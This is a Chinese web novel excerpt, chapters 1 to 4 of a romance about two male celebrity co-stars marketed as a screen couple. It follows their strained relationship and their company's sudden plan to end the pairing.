《顶流cp忽然要解绑》
1. 第 1 章
“有网友在璩江边偶遇许兰因和周鹤携手同游,顶流cp或将解绑?”
“众所周知,许兰因自出道有以来就与前辈商璘高度绑定,四年里两人一路成为话题度最高的男星,近来许兰因个人发展势头迅猛,如日中天,在活动和综艺中对商璘明显冷淡,内部消息传两人或将解绑,各自发展……”
黑色奔驰驶过跨江大桥,今日好天气,阳光格外明媚,落在江面上波光粼粼,比起旁边花苑路林立的珠宝店里的宝石火彩也不遑多让。
修长手指在屏幕上一点,《璩江电台》的播报被掐断,商璘打开车窗,风灌进来,吹乱了他的黑发,手机还在不停地响,电话、短信、社交平台的私信……几乎将他的手机挤爆,不出意外,应该全都是来问许兰因和周鹤恋情相关的事,商璘一视同仁,全不理会。
这个点学校外的车极多,堵得水泄不通,商璘提前了四十分钟出门,到A大的教学楼下时正好赶上许兰因会议结束。
他被一群人簇拥着从大门出来,都是二十出头的年轻人,个个神采飞扬,意气风发,许兰因是其中最打眼的那一个,站在人群中就好像一株临雪的松柏,因为肩宽腿长,普普通通的一件黑色卫衣也穿得像是走秀。鸭舌帽将他有些长的淡粉色头发压得乱七八糟,反而有种旁人学都学不来的松弛慵懒。
路过的人都举着手机拍照录像——许兰因已经大四,马上要毕业,来学校的时间大大减少,是以近来每次回校都会引起轰动。
有人眼尖认出商璘,故意大声道:“许兰因,你哥来接你放学了!”
许兰因转过头,看见商璘,立刻跑过来,一把抱住他:“小璘哥。”
商璘刚认识许兰因的时候这小孩儿才十八岁,个头还没他高,也不知道怎么长的,现在已经比他高了不少,抱人的时候却仍旧没轻没重,商璘差点被他勒断气。
许兰因的同学们跟商璘也算相熟,纷纷打招呼。商璘一边回应一边接过许兰因的书包挂在肩上,许兰因自己则是像个树袋熊似的从背后抱着商璘,下巴垫在他肩上,道:“你来这里怎么都没有提前告诉我?”
“顺路。”商璘撒谎,“忙完了吗?”
“差不多了。”许兰因说:“修改一点小细节就好了。”
许兰因的同学何嵩道:“璘哥你别听他胡说八道,今天开会的时候他被导师骂得狗血淋头,说他论文写得狗屁不通,问他是不是光顾着谈恋爱去了——”
被人拉了拉衣服,何嵩才意识到自己说错话。
许兰因和周鹤的绯闻闹得满天飞,他们私下里说说就算了,闹到商璘面前总归难看。
毕竟两人的CP粉上到六十下到十六,战斗力极强,是圈内断层的恐怖。许兰因周鹤手拉手璩江散步的热搜已经挂了整整一上午,周鹤的广场被屠了不知道多少遍,现在都没人敢说自己是周鹤的粉丝,露头就被骂。
当然,被骂得最惨的还是许兰因,脱粉回踩的数不胜数,好几个大粉都发文斥责他忘了来时路。热搜挂了那么久,公司、工作室和许兰因本人,没一个出来辟谣,许兰因今天来学校的时候还被人堵着问过这事儿。
何嵩本以为出了这种事情许兰因肯定很慌乱,谁知道他跟没事人一样开会,被导师骂是不是光顾着谈恋爱的时候还能调侃一句您老人家网速真快。
整件事里最尴尬的人就是商璘。
他和许兰因是深度绑定的CP,但说到底只是合作对象,并非正经的男朋友,粉丝都为他叫屈,让他去找许兰因要个说法,可实际上商璘根本没资格质问许兰因。
圈内的荧幕CP镜头前拥抱亲吻甜蜜恩爱,下了班就搂着自己的恋爱对象开房是常事,只是有没有爆出来的区别而已。
商璘笑了下,“他前段时间一直在跑通告,睡觉的时间都很少,让魏老师别生气,我会监督他好好改的。”
何嵩见他没什么异样,这才松了口气,“也就璘哥你能管得住他。马上就要提交终稿了,真得上点心才行。”
商璘说好。
其他人都七嘴八舌跟商璘告状,什么许兰因趁着导师讲话的时候在下面偷偷刷抖音、写论文夹带私人感情吐槽某某明星耍大牌、被导师骂了在人背后扮鬼脸……商璘听得很认真,并且教训许兰因:“以后别这样了。”
许兰因拉长了声音:“你怎么凶我。”
“我哪有凶你。”商璘皱眉,“要是这些事泄露出去,又有营销号要说你不尊师重道,目中无人,给前辈造谣……”
许兰因侧头在他脸上亲了下,“再说亲你嘴。”
“……”
周围全是粉丝和看热闹的学生,见到这一幕纷纷捂嘴尖叫,有个姑娘的声音格外有穿透力,大喊了一声“妈妈我磕的cp是真的”,商璘听得清清楚楚。
他抿唇,觉得许兰因根本没听进去他的话,但也没再说下去。
按照许兰因的性格,惹急了来个法式热吻都有可能。要是因为这种事上热搜,他和许兰因都要被请去喝茶。
公司对他们的定位一直很明确,唯粉CP粉两头抓,要表现得亲密又不能太亲密,给CP粉想象的空间,又要给唯粉做梦的机会。等将来解绑分开发展,还能用一句“只是关系好的兄弟”来为这段关系画上句号,资本家的算盘打得响当当,一个能捞进自己口袋里的子儿都不会放过。
“我们先走了。”许兰因摆摆手,“待会儿还有个拍摄,下次见。”
何嵩无语:“知道你想跟对象二人世界了,滚吧你。”
又说:“璘哥你别太惯着他,看看他都成什么样子了。”
许兰因踹了他一脚,挑起眉道:“你怎么那么多废话,嫉妒我公司发对象啊?”
何嵩露出一个“简直没话讲”的表情,做了个“请”的手势:“我的大明星,您赶紧和您对象去忙吧。”
许兰因揽住商璘的肩膀,带着他往门外走。
一路上都有人跟着摄影录像,商璘也就任由他揽着,跟他说今下午拍摄的注意事项,许兰因听得漫不经心,明显已经魂飞天外,不知道在想什么。
商璘转眸看着他的侧脸。
刚出道的时候,许兰因像是一条脏兮兮的小土狗,闯进这个光鲜亮丽的、与他格格不入的世界,眼睛里全是警惕和凶狠,那样子像是要随机挑选一个路过的人咬死。
他们合作电视剧《单向奔赴》的时候,商璘已经在这个圈子待了三年,虽然因为各种原因不温不火,但也积累了一些粉丝,许兰因则是完全在娱乐圈查无此人的纯新人。<
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消息刚传出去那会儿在网上搜许兰因,十条里有十一条都在骂他抱大腿、带资进组、拖累商璘。可以说许兰因还没有接触到娱乐圈的掌声和鲜花,就已经被网暴了八百回合。他委屈难过了也不说,就红着眼圈坐在地上看自己的词条。商璘路过觉得这小孩儿实在是太可怜,抱抱他摸摸头,又去给做点好吃的哄哄,强制收他手机不准他接触这些负能量,人才慢慢缓过来。
时至今日,许兰因已然光芒万丈。
国内top大学在读、多个顶奢代言、年初刚拿到的影帝奖杯、最年轻的顶流……无数金光闪闪的标签构成如今的许兰因,当初让他红眼眶的风浪早已不算什么,即便绯闻挂上热搜被疯狂辱骂,他也依然谈笑风生。
“小璘哥。”许兰因忽然转过头,“你在看什么?”
猝不及防与他漆黑的眼睛对上,商璘一顿。而后若无其事转过头,说:“你头发长长了很多,不剪吗?”
“嗯?”许兰因摘下鸭舌帽,抓了抓自己的粉毛,“有人说我长发好看。留着呗。”
他抓得自己头发乱七八糟,像个鸡窝,商璘看不过去,让他低头,伸手给他整理了下,又把帽子扣回他头上,“你刚那样子又够黑粉P百八十张黑图。”
话说完,他想问问谁说的你长发好看,又咽了回去。
虽然他也觉得许兰因留长发好看,但他从没说过,总不能是为他留的。
“苏姐给你的剧本看了吗?”商璘转开话题,“制作团队那边时间紧张,希望你尽快给出答复。”
苏纭是他们经纪人,两人上一次合作的剧都已经完播一年了,粉丝一直在期待新作品。但苏纭本着宁可不拍也不能砸口碑的心态挑剧本,直到半个月前才定了一个,征求商璘和许兰因的意见。
商璘看过后觉得确实不错,导演班底也强,虽然没有立刻答应,但苏纭知道商璘一贯好说话,并不担心他这边,真正让她头疼的是许兰因。他迟迟没个准话不说,因为苏纭催了几次,他还直接把苏纭拉黑了。没办法,苏纭只好托商璘来探探这祖宗的口风。
这时候他们已经到了停车的地方,许兰因给商璘拉开车门,道:“先上车吧。”
商璘只好钻进车里,许兰因上了驾驶座,他点火发动车子,从A大大门驶出。商璘说:“回答呢。”
许兰因脸上那种柔和亲近的笑意消失得无影无踪,他看着前面的路,冷淡道:“别跟我说话。”
好像刚刚那个粘着他缠着他甚至还会亲他的人只是商璘的幻觉。
“还有。”许兰因又道:“以后别碰我头。”
“……”商璘说:“好。”
许兰因:“也不准碰我东西。”
商璘把一直放腿上的书包丢去后座,转过头看着窗外流逝的风景,两人谁也没有再说话,气氛一时间降至冰点。
前面红灯,许兰因一脚踩下刹车,偏头冷冷盯着商璘:“我以前怎么不知道你这么听话,我说什么你就做什么。”
商璘眯起眼睛,警告他:“别找茬。”
商璘听不听话难说,许兰因却是从小一身反骨,闻言不仅没有半分收敛,反而倾身一把扣住商璘的后颈,跟狗似的一口咬住了他的下唇。
顷刻间便见了血。
2. 第 2 章
助理小唐早就在摄影棚外等着,看见商璘和许兰因一前一后地过来,赶紧迎上去——两人这个走路顺序多半是吵架了,是以小唐很谨慎:“璘哥,兰因,都已经准备好了,先过去化妆吧,要喝点什么我去买。”
商璘沉着脸,尽量让自己语气好一些:“冰美式,谢谢。”
小唐这才发现他嘴唇破皮了,破皮的地方泛着一圈不正常的殷红。要是许兰因不在她还会问一句是不是天太干了要不要涂点唇膏,但是许兰因在,那就只可能是许兰因咬出来的。
一般这种时候小唐都会假装自己是个瞎子,一句话没多问,看向许兰因,许兰因说了句“拿铁”就匆匆跟上了商璘的脚步。
私下里商璘话很少,他昨晚没怎么睡,化妆的时候一直在闭目养神,许兰因则非常外向,跟路边的狗都能聊得有来有回,逗得化妆师和几个造型师笑得花枝乱颤,一群人围着找他要签名。
商璘先化完妆,去换了衣服出来,商璘的造型要稍微复杂一些,服装老师拿了一堆小配饰出来给他做搭配,吩咐自己的助手:“你把这个袜夹给商老师戴上。”
助手忙点头,半跪在地上要给商璘固定袜子,商璘刚想说自己来就行,忽然一直在旁边跟人聊天的许兰因拍拍助手的肩膀,笑盈盈道:“你起来。”
虽然不明所以,助手还是听话地站了起来,许兰因从他手上接过袜夹,“我来就行。”
许兰因单膝跪在地上,要去握商璘的小腿,商璘晃了下腿,躲开了,“干什么?”
“帮工作人员减轻负担啊,你看看人家多忙。”许兰因按住他膝盖,不准他再乱动,说:“那么多人等着,小璘哥你能不能听话点。”
“……”商璘没再拒绝。
反正不管怎么说都是许兰因有理,刚刚化妆师给他化妆的时候好不容易才让嘴唇上的破皮没那么明显,要是再让这小子叨一口,杂志也就没法拍了。
他不想因为个人原因拖慢工作进度。
许兰因认真做事的时候总是很专注。他大学学的是跟表演毫无瓜葛的天文学,商璘跟他去听过几次课,文科生听得简直想死,只觉得台上教授讲的每一个字拆开他都能听懂组合在一起就变成了外星语言。但许兰因听得很认真,还会做笔记。
他彼时听课的专注和此刻给商璘戴袜夹的专注没有不同,从商璘的角度看去,他睫毛又密又长,像是两排小刷子,女友粉那么多不是没原因的,这张脸确实很顶。手指也很长,骨节分明,温度总比商璘的体温要高一些,以至于当他的指尖碰到小腿裸露的肌肤时,商璘身体有些紧绷。
“小璘哥。”许兰因把搭扣扣上,抬头看着商璘,“另一边。”
商璘移开视线,不再看他,这才发现好几个女孩子都捂着嘴满面红光地看着他俩,被发现了也挺大大方方,说:“你们真的好像那种谈了十几年的老夫老妻。”
许兰因将另一边的袜夹也给商戴好,顺手捏了捏他小腿肚,转头挑眉道:“说什么呢,我们是好兄弟。”
有人起哄:“反正我不给我兄弟跪着戴这种东西。”
许兰因笑得不行:“袜夹这么正经一小工具,到你嘴里怎么就变了味儿。你不会,那说明你们兄弟感情还是不到位,我和小璘哥能一样吗。”
众人都笑起来,唯有商璘眸光冷淡,“让开,我要起来。”
许兰因跪得那么近,商璘要是直接站起来,姿势未免尴尬。许兰因把他裤腿放下,起身退开两步,“我拉你?”
商璘一巴掌拍在他手上,“滚。”
其他人笑得更欢,许兰因耸耸肩,“大家还总说他脾气好,他脾气其实超级不好的,天天凶我。”
“那还不是因为你老是要招惹人家。”
“就是,除了璘哥谁受得了你。”
“璘哥还不够宠你啊兰因?真是恃宠而骄。”
商璘习惯了他们的打趣,任由造型师帮他整理衣领,许兰因靠在墙边看着,眸光一直落在他的唇上,待商璘抬眸,他又移开视线,跟人说笑去了。
杂志拍摄不算顺利。
摄影师颇为头疼——两位的脸没得说,毕竟是圈内顶流,各有各的帅,但这次的拍摄主题是“怦然心动”,商璘和许兰因看向彼此的视线别说是心动了,一个全是挑衅,一个全是冷漠,仿佛下一秒就要打起来。
怦然心悸还差不多。
忙活了两小时,能用的成片一只手都能数出来,摄影师没辙,只好叫中场休息一下,把两人叫来让他们找找感觉:“你们演《单向奔赴》的那种状态就很好,能不能找回来一点?”
许兰因:“为难人啊刘老师,那时候我们刚认识,能一样吗?”
摄影师:“不说初次见面的悸动,你们看彼此的眼神里能有点喜欢和暧昧不?这是白色情人节特刊,你俩跟对抗路有什么区别?”他看了眼表,说:“我给你们十五分钟时间,不管你们之间有什么问题,十五分钟内调整好,今天不拍完都不能下班知道了吧?”
说完也不给两人反驳的机会,一挥手让工作人员全部撤走,化妆间里只剩下商璘和许兰因。
商璘喝了口小唐买回来的冰美式,终于打开手机处理社交消息,回复各路朋友的询问顺带安抚已经快要爆炸的苏纭。有时候他也觉得苏纭挺命苦的,摊上许兰因这种艺人,挣得都是血汗钱。
他正在看好友发来的几十条消息,忽然许兰因的声音在他耳后响起:“你打算一直这样?”
商璘头也没抬,继续打字,“那你想怎么样?”
许兰因在人前总爱笑,这会儿倒是一点笑意都没了,直接抽走商璘的手机扔到一旁,整个人强势地往前逼近两步,手撑着化妆桌面,将商璘和他坐着的椅子全部禁锢在了自己的臂膀之间,“来接我放学也是工作?”
商璘心平气和地看着他,“是。”
“你应该很清楚,我们的商业价值是捆绑的,你和周鹤的事情现在还挂在热搜,如果我不去学校,苏姐就是吃一整瓶速效救心丸都不起作用——你已经二十二岁了,做事之前能不能稍微为别人考虑考虑?”
“其他人关我屁事。”许兰因冷冷说:“那不是她的工作吗?”
商璘一直都知道这小孩儿脾气烂,要是让狗仔拍到他现在的样子,恐怕又是一阵腥风血雨。
“又不说话?”许兰因道
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:“我跟你说过,我很讨厌你这样。”
商璘:“你想我说什么?”
“你不问我周鹤?”
商璘道:“那是小伏总和苏姐要跟你谈的事。”
许兰因舔了舔尖锐的犬齿。
他死死盯着商璘,忽然转过头抓了把自己的头发,“你吃错什么药了,莫名其妙跟我闹脾气。那些营销号说我对你冷淡……”他拽住商璘的领带,“明明冷淡的人是你吧,突然说什么以后除了拍戏的时候嘴都不能亲……你谈女朋友了?”
商璘说:“许兰因,我们是搭档,朋友,兄弟,你看那些荧幕CP谁私下里还亲嘴的,说这种话你自己不觉得荒唐吗?”
许兰因:“明明以前可以亲。”
“是我不对。”商璘道:“最开始就不该纵容你。”
许兰因:“……”
他想要的回答不是这个。
许兰因眯起眼睛,忽然拉开商璘的衣领左看右看,商璘错愕道:“发什么疯?”
许兰因不仅没停手,又掀起商璘的衣摆,露出一截劲瘦白皙的腰,确认他身上没有任何痕迹后,眉头舒展了一点,道:“看来没谈对象。”
“……神经病。”商璘咬牙骂了一句,推开他的头,“车上那巴掌没打痛你是不是?”
来拍摄的路上两人吵架,许兰因动口不动手,咬得商璘嘴唇淌血,商璘反手就是一巴掌打他脸上,虽然没留下痕迹,但应该还是挺疼的。
但许兰因就是不记打。
“你以后再乱来试试。”商璘警告道:“我没跟你开玩笑。”
许兰因扯了下唇角,后退两步举起手,“行,我知道了。那拍摄要怎么办?只剩下九分钟了,待会儿要是还不在状态,老刘头要骂人的。”
商璘:“你一直挑衅,怪我?”
许兰因:“你的所作所为很难让我不生气。”
商璘蹙眉想了想。他和许兰因拍《单向奔赴》的时候,是什么状态来着?那时许兰因还是个可怜巴巴的小屁孩,对他有雏鸟情结,到了人多的地方还要他拉着手才行,看他的眼神应该是很依赖的。
他思索良久,勾了勾手指:“过来。”
许兰因:“你又要打我?”
“……过不过来?”
许兰因靠近,商璘扣住他后脖颈,将人压下来,仰头吻住他的唇。
口红被吻得晕开,一塌糊涂,商璘原本只是含住许兰因的下唇舔了舔,是个浅尝辄止的吻,许兰因在最初的呆愣后立刻反客为主,将商璘压在化妆台,舌尖叩开齿关,吻得更深。
娇弱的暗红色真丝领带被抓得皱皱巴巴,腰上贴着的手也远比方才小腿和指尖相触的温度更加炙热,商璘一把抓住许兰因的手,侧开头喘息道:“够了。”
“我觉得没够。”许兰因贴着商璘唇角说:“小璘哥,我还没找到爱你的感觉呢。”
商璘一顿。
许兰因大概永远不会找到爱他的感觉。
就在这么一愣神的功夫,许兰因将他的舌叼进了自己嘴里,商璘后腰一软,几乎整个人都瘫在了化妆台上,瓶瓶罐罐一阵当啷响,像是谁剧烈的心跳。
3. 第 3 章
摄影师老刘是业界相当权威的前辈,《见你》这本杂志能在如今这个大环境下仍旧被追捧,他功不可没。有能力的人多多少少会有些脾气,老刘就是以较真和守时出的名,他要拍的照片那就一定要臻于完美,他说十五分钟那就一分不会多。
工作人员们陆陆续续回来,化妆师看见一片狼藉的化妆台,惊道:“两位老师,你们打架了?”
商璘刚把嘴上晕开的口红擦掉,又抻了抻发皱的领带,闻言一僵,许兰因远远站在另一边,倒是一派从容自若:“我刚刚不小心摔了一跤,不好意思,没弄坏吧?”
“那倒没有。就是你俩都脱妆了,快过来我给补一下。”
补妆的时候许兰因也不老实,盯着商璘忽然说了句:“我讨厌冰美式。苦的,难喝。”
商璘眉头一皱,骂他:“……闭嘴。”
大家又忙碌起来,这次拍摄,老刘勉强给过了,评价:“差强人意。”
“我觉得挺好啊。”许兰因没大没小地跟老刘勾肩搭背,去看他电脑里的片子,评价道:“你看给我哥拍得多好看,两只眼睛一张嘴的,都全乎。”
“……你说的是人话吗。”老刘没好气道:“烂审美别对我的片子指手画脚。”
许兰因又凑近了一点,问:“老刘,你觉着这次我哥看我的眼神有怦然心动的感觉吗?”
老刘斜着眼睛看他,“你没感觉?”
“我要有什么感觉?”
老刘想说商璘看你的眼神那爱意都要溢出来了,但想了想觉得这话不合适。他们是演员,爱一个人是什么样子他们最清楚,换而言之,爱是可以演出来的。
荧幕CP而已,他大概也是被一群小姑娘叽叽喳喳洗脑了,真觉得这两人之间有什么爱情。
事实上圈内不少人都知道,许兰因一直有女朋友,比换衣服还勤。
“行了,你们回吧。”老刘赶他,“你小子今天肯定要喝上一壶,我不收留你,滚吧。”
小唐说:“兰因,今晚公司有个聚会,我之前跟你说过,你应该把时间空出来了吧?”
“啊,有吗?”许兰因散漫道:“我今晚有约了。”
小唐:“苏姐说你今晚要是不去就开了我,你怎么能这样对我?”
许兰因拍拍她脑袋,“逗你的。”
“……”小唐要气死了,转头跟商璘告状:“璘哥,你看他。”
商璘:“管不了。”
他说完与许兰因擦肩而过,率先离开化妆室,许兰因脸上的笑容冷淡下来。小唐看他这样子就发怵,小声道:“兰因?”
“嗯。”许兰因随手扣上帽子,弯起唇角:“走呗。”
禾光娱乐算是影视娱乐业里的后起之秀,老板早些年是做房地产的,见影视业这边蛋糕大,也有让儿子历练历练的心思,便开了这个公司交给自己的小儿子全权打理,谁承想还真做得不错。在培养出商璘和许兰因这两个顶流后更是蒸蒸日上,吸引了不少新人,如今已然是娱乐公司里的巨擘大鳄。
今晚是禾光的周年庆,苏纭千叮咛万嘱咐让商璘和许兰因务必到场,不能下了少东家的面子。
宴会在酒店举行,商璘下车的时候被一群不知道从哪里打听到行程的私生围堵,摄像机几乎怼到他脸上,小唐个子小,铆足了劲也拦不住人。
商璘蹙眉,使眼色让小唐去叫保安,小唐还没动,忽然许兰因长腿一迈,从车上下来,揽住商璘的后腰就往前走,他冷着脸,也不在乎会不会撞到人,反倒是人群躲着他,所以很快就将商璘带进了酒店,小唐在后面让保安赶紧把这群私生赶走。
一进酒店,许兰因立刻收回了手,也不理会商璘,先行进了宴会厅。
显然是对商璘之前先走的幼稚报复。
小唐气喘吁吁跟上来,看见许兰因的背影,小声道:“璘哥,你跟兰因还没和好呢?”
这话她也就敢问商璘,商璘脾气好,许兰因则是个一点就炸的炮仗。
“别担心。”商璘说:“我们没吵架。”
小唐心说我知道,哪次不是许兰因单方面吵架。她担心的是另一个点:“今天那热搜挂着,你和兰因又没有一起进场,还不知道那些人会怎么议论呢。”
许兰因和商璘是禾光最火的艺人,人红是非多,哪怕是同公司之间也存在许多竞争,有的是人做梦都想着他们两个跌下来换自己顶上。
“而且……”小唐轻声说:“今晚周鹤也会来的。”
商璘一顿。
小唐这么说起来,他才想起周鹤是禾光去年签约的新人,因为外貌、学历、情商和实力都不错,是禾光的重点培养对象,入圈一年已经有了不少粉丝。
如果不是跟商璘的粉丝撕逼,他家应该不至于被骂得毫无还手之力。
“进去吧。”商璘说:“苏姐说有事情要叮嘱你。”
小唐只好忧心忡忡地点头。
这种物欲横流的名利场,是商璘最熟悉的场合,他跟几个公司领导和前辈打了招呼,便找了个安静的地方坐着,远远看见许兰因在跟人说笑——他像是天生就适合这样的浮华虚妄,并不高高在上,也没那么好亲近。
但其实商璘知道不是这样的。
他第一次见到许兰因的时候,是四年前的六月上旬,许兰因十八岁,高考都才结束没几天。那天他去公司,是因为少东家伏越泽找他有事。伏越泽说:“这部剧的导演找到我,非常诚恳地邀请你做主演之一。”
那时候他已经入行三年,处于半雪藏状态,伏越泽的打算商璘很清楚,这种生来就什么都有的人惯会用权力使人屈服,他觉得这样打压下去总有一天商璘会松口,而他有的是时间跟商璘耗。
这样一条毒蛇今天竟然主动给他递剧本,怎么看都像是出门吃错药了。但哪怕知道伏越泽没安好心,商璘还是接过剧本翻了翻。
是个不错的本子,但……
“双男主?”商璘眼皮跳了下。
“两年前同性就可以在我国登记结婚了,现在同性题材势头迅猛,禾光自然也想要分杯羹。”伏越泽看似贴心地为商璘分析:“不少人原本籍籍无名,就因为演了同性题材飞升,你不想试试?”
要是别人这么说,商璘肯定不会多想,但由伏越泽说出来,他不得不多想。
伏越泽就是在故意搞他。
充满恶意,毫不掩饰。
伏越泽偏头点了支烟,烟雾全部吹在商璘的脸上,看着他咳嗽的样子,小伏总说:“今天有批新人来了,恰好我要过去打个招呼,你跟我一起过去选选?”
商璘知道自己没有选择的权力,最终还是跟着伏越泽过去了。即便他觉得非常、非常的恶心。
禾光那时并不算大公司,但每年想要进来的新人仍旧数不胜数,商璘跟在伏越泽身后,看见一水儿打扮得时尚漂亮的男男女女,不同的妆造相似的脸,看几眼就觉得审美疲劳。
伏越泽一来,俊男靓女们纷纷起身打招呼,商璘后退了三四步,连冷眼旁观都觉无聊,转过头看落地门外的车水马龙。
直到伏越泽忽然宣布了商璘要选人演电视剧的消息,几乎所有人都转头看了过来,眼神热烈又好奇,窃窃私语声不断。
伏越泽抬手揽住商璘的肩膀,笑着说:“怎么样,觉得哪个合适?”
商璘觉得厌烦,刚想要推开他的手,忽然察觉到一道极其炽热的视线。
新人们并不知道伏越泽说的剧是什么样,但他们都知道禾光非常有钱,选出来的本子不会太差,一出道就能演主角,是多少艺人梦寐以求的事情,在场所有人看他的眼神都很炽热。
但这道视线异常滚烫,让商璘想要不注意到都难。
他侧眸看过去,这才发现那是个坐在角落里毫不起眼的小孩儿……或许该说他与这里的光鲜亮丽格格不入,人人打扮精致,他却只套了一件有些发白的T恤,牛仔裤,和穿了不知道多久鞋帮都开始发黄的运动鞋。
像是一只小土狗。
商璘这样想。
小土狗直勾勾盯着他,满脸都写着“选我选我,求你选我”。
哪怕是这样土里土气的发型、土里土气的打扮,也能看出这孩子的长相相当不错,尤其那双眼睛,是一种剔透的琥珀色,显得格外天真干净。
“商璘?”伏越泽看着他,“一个中意的都没有?”
原本就只是一场闹剧,选谁都无所谓,商璘抬抬下巴,看向那只小土狗,“他。”
商璘不选的时候伏越泽要问,商璘真选了,伏越泽又不高兴,扯了下唇角,“怎么选他?”
“不是你让我选?”
“总有个理由。”
商璘对上少年赤诚的双瞳,随手在自己左边眼皮上一点,语气漫不经心:“因为他跟我一样,这里都有颗痣。”
……
那就是他们参演《单向奔赴》最初的契机,完全没有后来外界推测的慧眼识珠、先见之明,只是伏越泽恶劣的恶作剧罢了。谁也没想到这样一个草台班子拍出来的剧会爆火,让许兰因和商璘一路走到娱乐圈最顶峰的位置。
“你怎么又在看着许兰因发呆。”忽然有人拍拍商璘,在他对面坐下,“他是挺好看的,但你天天看还没腻?”
商璘回神,看见来人,一怔
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:“……我还以为你今天不来。”
“郭姐下了死命令,我哪敢不来。”尹佳阳勉强笑笑,凑近商璘,扒着自己的眼睛说:“喏,你看,我眼睛现在都还是肿的,感觉随时都会哭出来。”
商璘:“那你化妆师遮瑕手法还挺好。”
商璘没什么朋友,尹佳阳算一个,刚签禾光的时候,尹佳阳帮了他很多,两人私交一直不错。
“你……”商璘犹豫了一下,问:“曾翰现在什么意思?”
曾翰是尹佳阳的搭档,两人近半年来风头正盛。一周前,尹佳阳喝多了酒,借着酒劲跟曾翰表白,曾翰吓得瞬间醒了酒,然后吐了。第二天就有狗仔爆料曾翰和女友一起回家,闹得沸沸扬扬,要不是有许兰因和周鹤的热搜压上去,恐怕处在腥风血雨中心的就是尹佳阳了。
“人家女朋友都摆出来了,能是什么意思。”尹佳阳靠在沙发上,面色颓废,“他真是个直男吧,不然听见我告白也不会吐了。”
商璘说:“也可能是酒喝多了。”
“谢谢你的安慰啊亲爱的,但是我自己心里明白。”尹佳阳自嘲地笑笑,“是我的问题。CP是演给观众看的,我自己却入了戏。”
“郭姐来找我说过了。”尹佳阳抹了把脸,“曾翰要跟我解绑。”
商璘垂下眼睫,好一会儿没说话。心口传来细微的钝痛,他想要忽视,却丝丝缕缕,如同连绵的雨,不肯断绝。
“好啦,我尊重他的选择。”尹佳阳深吸口气,“你别为我难过,我真的还好。”
“尹佳阳。”商璘说:“其实我刚刚是骗你的。”
“啊?”
“你眼睛肿得像两颗核桃。”
“……”
经纪人苏纭匆匆赶来,从角落里逮走商璘,边走边骂:“许兰因这□□崽子真是半点都不让我省心!我他妈的为了处理他那个热搜求爷爷告奶奶,他竟然又在会场里跟周鹤聊上了……我的老天爷,我喝了两瓶太太静心口服液才缓过来!”
商璘看着她噔噔噔的足有十二公分的高跟鞋,那架势好像要用高跟鞋直接把许兰因钉死在墙上——不是都说男人只有挂在墙上才会老实么。
“苏姐。”商璘说:“要再喝一瓶静心口服液吗?”
苏纭停住脚步,转头盯着他,“还有你!要不是你惯着,许兰因能像现在这么无法无天?!”
商璘:“他从来没有听话过。跟我没有关系。”
“跟你没关系才怪!”苏纭瞪了他一眼,又说:“少东家找,估计许兰因要挨训,你别帮他说话,他也该受点教训了。年少成名,给他狂的。”
商璘心想,许兰因一个个顶奢代言拿到手软的时候你可不是这么说的,那时候人还是你的心肝宝贝摇钱树呢。
伏越泽和许兰因不知道在说什么,气氛算不上愉快,苏纭叫了声小伏总,伏越泽转过头,看了商璘一眼,道:“来了招呼都不打一个?”
许兰因揽住商璘的肩膀,笑着说:“都这么熟了,用不着吧?”
“兰因。”苏纭沉声道:“别嬉皮笑脸的,你跟周鹤到底怎么回事?知道那几张照片惹出了多大的麻烦吗?”
“不是都已经解决了吗?”许兰因揉了揉自己的脖颈,不耐道:“只是拉手散个步而已,又没有当街亲嘴。”
“……”苏纭真想用高跟鞋把他钉死在墙上,这样没准她还能多活两年。
商璘侧眸看着他,“跟苏姐道歉。”
“。”许兰因敷衍地对苏纭说:“对不起苏姐,我开玩笑的,下次不会了。”
苏纭见惯了他这个狗德行,自己安抚好了自己,又笑盈盈地对伏越泽道:“小伏总您放心,过两天他们就有双人直播,到时候表现亲密一点,粉丝们就会放下心来。”
明明她自己说的要让许兰因吃个教训,却又怕许兰因真的挨骂,忍不住帮他说话。
伏越泽笑了笑,“我找你们要说的不是这件事。”
三人都看着他。
伏越泽道:“从各方面考量,公司认为许兰因和商璘继续绑定商业价值会缩减,分开发展才能创造更多的利益,计划让他们解绑,两人慢慢分开,给粉丝一定的适应时间,避免反噬。”
苏纭呆住了,她觉得不是自己耳朵出了问题就是公司高层的脑子出了问题,“这么重要的事,没有任何人通知我?”
伏越泽温声:“现在不是已经通知你了么。”他看向商璘和许兰因,“你们呢,什么想法?”
许兰因早在伏越泽说出解绑的时候脸色就已经很难看了,“我不……”
商璘打断他的话,说:“我同意。”
4. 第 4 章
一瞬间好似天地阒然,一切浮华虚相皆褪去,只剩下商璘出口的那三个字长久回荡,像是一桶冰冷的水、一记闷闷的锤,轰然落在许兰因身上。他有几秒钟的怔忡,以至于最先有所反应的不是他而是苏纭。
苏纭不可置信道:“阿璘?”
如果是许兰因闹着要解绑,苏纭肯定就一个暴栗敲他头上让他安分点,因为知道许兰因只是又在发脾气想要人去哄他,但偏偏这话由商璘说出来。
他不是许兰因,他是认真的。
伏越泽挑了下眉,说:“我会让人整理好相关事宜发你们邮箱,记得好好看。”
商璘嗯了声,“今天有点累,先走了。”
许兰因一把抓住商璘的手腕,却没看他,而是盯着伏越泽道:“小伏总,怎么还过河拆桥呢。”
在大众印象里,许兰因总是带着笑容,显得尤其明媚,多少人爱他太阳般的热烈,却不知道当他真正冷下脸、面无表情的时候,和明媚热烈没有半点关系,反而像是一口深幽的井,漆黑,冰冷,甚至有些可怖。
伏越泽:“让你和商璘解绑,是为了让你们能有更好的发展,兰因,我希望你能理解我们的苦心。”
许兰因冷冷道:“我们已经发展得很好了。”
“就是因为你们到了瓶颈。”伏越泽温声教诲:“粉丝圈层固化,无法吸纳新人,迟早会有人取代你们,不如趁现在分开,各自发展,我相信以你们的实力,一定会取得更好的成绩。先不要意气用事,好好考虑我说的话。”
苏纭冷汗直冒:“小伏总,这太突然了,你也知道,兰因从出道开始就跟着他哥,突然说这个他肯定接受不了。这件事我们能不能之后再谈?”
事实上苏纭都恨不得把伏越泽的嘴缝上,她带了许兰因四年,太清楚这狗崽子的脾气,他真的生气了。
会干出什么来谁也无法预料。
苏纭可不想半夜看见“许兰因和公司老总在周年庆大打出手”的热搜,那她一定会猝死的!
伏越泽倒是很好说话:“可以。”
他看着商璘,弯起唇角,“不过我看阿璘还挺支持公司决策的,真是令我欣慰。”
商璘半垂着眼睫,没吭声。
